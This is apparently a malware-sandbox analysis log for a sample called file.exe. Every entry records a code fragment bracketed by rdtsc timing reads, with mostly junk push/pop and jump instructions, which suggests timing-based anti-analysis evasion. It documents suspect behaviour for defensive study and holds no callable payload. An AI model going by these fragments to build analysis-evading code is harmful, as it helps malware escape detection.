                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DED4E second address: 4DED7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA954E703D1h 0x00000012 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DED7C second address: 4DED88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA9551579F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DED88 second address: 4DED8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DED8C second address: 4DEDAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA955157A04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4E275F second address: 4E2763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4E2763 second address: 4E2769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4E2769 second address: 4E2773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA954E703C6h 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4E2773 second address: 4E2777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4E4401 second address: 4E4407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4E4407 second address: 4E440B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4E66B8 second address: 4E66FE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FA954E703D6h 0x00000010 push ecx 0x00000011 jmp 00007FA954E703CAh 0x00000016 jmp 00007FA954E703D5h 0x0000001b pop ecx 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4E62C0 second address: 4E62C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4E7B99 second address: 4E7BA3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4EEFF7 second address: 4EF001 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA9551579F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4ED8A0 second address: 4ED8A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4ED8A7 second address: 4ED8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA9551579F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007FA9551579FDh 0x00000014 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4EDA2D second address: 4EDA38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FA954E703C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4EDA38 second address: 4EDA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007FA9551579FCh 0x00000010 js 00007FA9551579F6h 0x00000016 jmp 00007FA955157A05h 0x0000001b push ebx 0x0000001c jnl 00007FA9551579F6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4EDEBC second address: 4EDEDD instructions: 0x00000000 rdtsc 0x00000002 js 00007FA954E703C6h 0x00000008 jmp 00007FA954E703D7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4EDEDD second address: 4EDEE2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4EDEE2 second address: 4EDEF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA954E703C6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FA954E703C6h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491F2D second address: 491F31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491F31 second address: 491F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4EE1FE second address: 4EE21D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA955157A07h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F154D second address: 4F1585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FA954E703D5h 0x0000000a pushad 0x0000000b jnp 00007FA954E703C6h 0x00000011 jno 00007FA954E703C6h 0x00000017 jnl 00007FA954E703C6h 0x0000001d popad 0x0000001e popad 0x0000001f push ebx 0x00000020 jnp 00007FA954E703DDh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F168B second address: 4F16A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA955157A07h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F16A8 second address: 4F16C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA954E703D2h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F16C3 second address: 4F16C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F16C7 second address: 4F16E9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA954E703D2h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F16E9 second address: 4F16ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F16ED second address: 4F1716 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA954E703CBh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F1B3F second address: 4F1B54 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jp 00007FA9551579F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007FA9551579F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F500E second address: 4F5024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA954E703CCh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5024 second address: 4F502C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F502C second address: 4F5039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FA954E703D2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5190 second address: 4F519A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA9551579F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5589 second address: 4F5591 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F56F1 second address: 4F56FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jbe 00007FA9551579F6h 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F56FE second address: 4F5704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5704 second address: 4F5726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA955157A09h 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FCE07 second address: 4FCE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA954E703C6h 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FCE11 second address: 4FCE15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FCE15 second address: 4FCE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FAD5E second address: 4FAD6E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA9551579F6h 0x00000008 ja 00007FA9551579F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FAED1 second address: 4FAEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA954E703D3h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB3EB second address: 4FB441 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA9551579F6h 0x00000008 je 00007FA9551579F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FA955157A07h 0x00000015 jmp 00007FA9551579FCh 0x0000001a popad 0x0000001b pushad 0x0000001c jno 00007FA955157A03h 0x00000022 jmp 00007FA9551579FAh 0x00000027 push eax 0x00000028 push edx 0x00000029 push edx 0x0000002a pop edx 0x0000002b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB9F3 second address: 4FB9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FB9F7 second address: 4FBA1A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA9551579F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA955157A05h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FBA1A second address: 4FBA3A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007FA954E703D3h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FC2C2 second address: 4FC2C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FC557 second address: 4FC55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FC55D second address: 4FC561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FC561 second address: 4FC581 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FA954E703D7h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FC82D second address: 4FC832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FC832 second address: 4FC850 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FC850 second address: 4FC856 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4FC856 second address: 4FC862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 505ED5 second address: 505EEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A00h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5052EF second address: 5052F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5052F3 second address: 5052F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5052F9 second address: 5052FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5052FF second address: 505303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5055B1 second address: 5055B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5055B7 second address: 5055BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 505761 second address: 50576E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 505A79 second address: 505A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA9551579F6h 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 505A83 second address: 505A88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 505A88 second address: 505A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50D2F5 second address: 50D2F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50D2F9 second address: 50D31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jp 00007FA9551579F6h 0x0000000d jmp 00007FA9551579FBh 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007FA955157A10h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50D31D second address: 50D346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA954E703D4h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA954E703CFh 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50D346 second address: 50D34C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50D5D9 second address: 50D61C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA954E703CDh 0x00000009 jmp 00007FA954E703D6h 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007FA954E703D5h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50D8B4 second address: 50D8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA955157A05h 0x0000000d jbe 00007FA9551579F6h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50D8D7 second address: 50D8EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA954E703CCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50DA73 second address: 50DA8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA955157A02h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50DD94 second address: 50DD99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50DD99 second address: 50DD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50DD9F second address: 50DDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50DED3 second address: 50DF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FA955157A09h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA9551579FEh 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50DF01 second address: 50DF0B instructions: 0x00000000 rdtsc 0x00000002 js 00007FA954E703C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50DF0B second address: 50DF19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50E105 second address: 50E10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50CD61 second address: 50CD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50CD66 second address: 50CD72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FA954E703C6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5148DE second address: 5148E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5148E2 second address: 5148F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007FA954E703C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5145C6 second address: 5145CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 521E91 second address: 521EA1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 521EA1 second address: 521EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 521AA9 second address: 521ABD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FA954E703C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 521ABD second address: 521AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5242F3 second address: 5242F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5242F7 second address: 5242FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5278B3 second address: 5278B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5278B9 second address: 5278BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 52C099 second address: 52C09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 536296 second address: 5362A0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA9551579F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5362A0 second address: 5362B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FA954E703C6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 53CF1E second address: 53CF24 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 53D0B1 second address: 53D0DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FA954E703C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop esi 0x00000015 jno 00007FA954E703D8h 0x0000001b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 53D0DE second address: 53D0E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
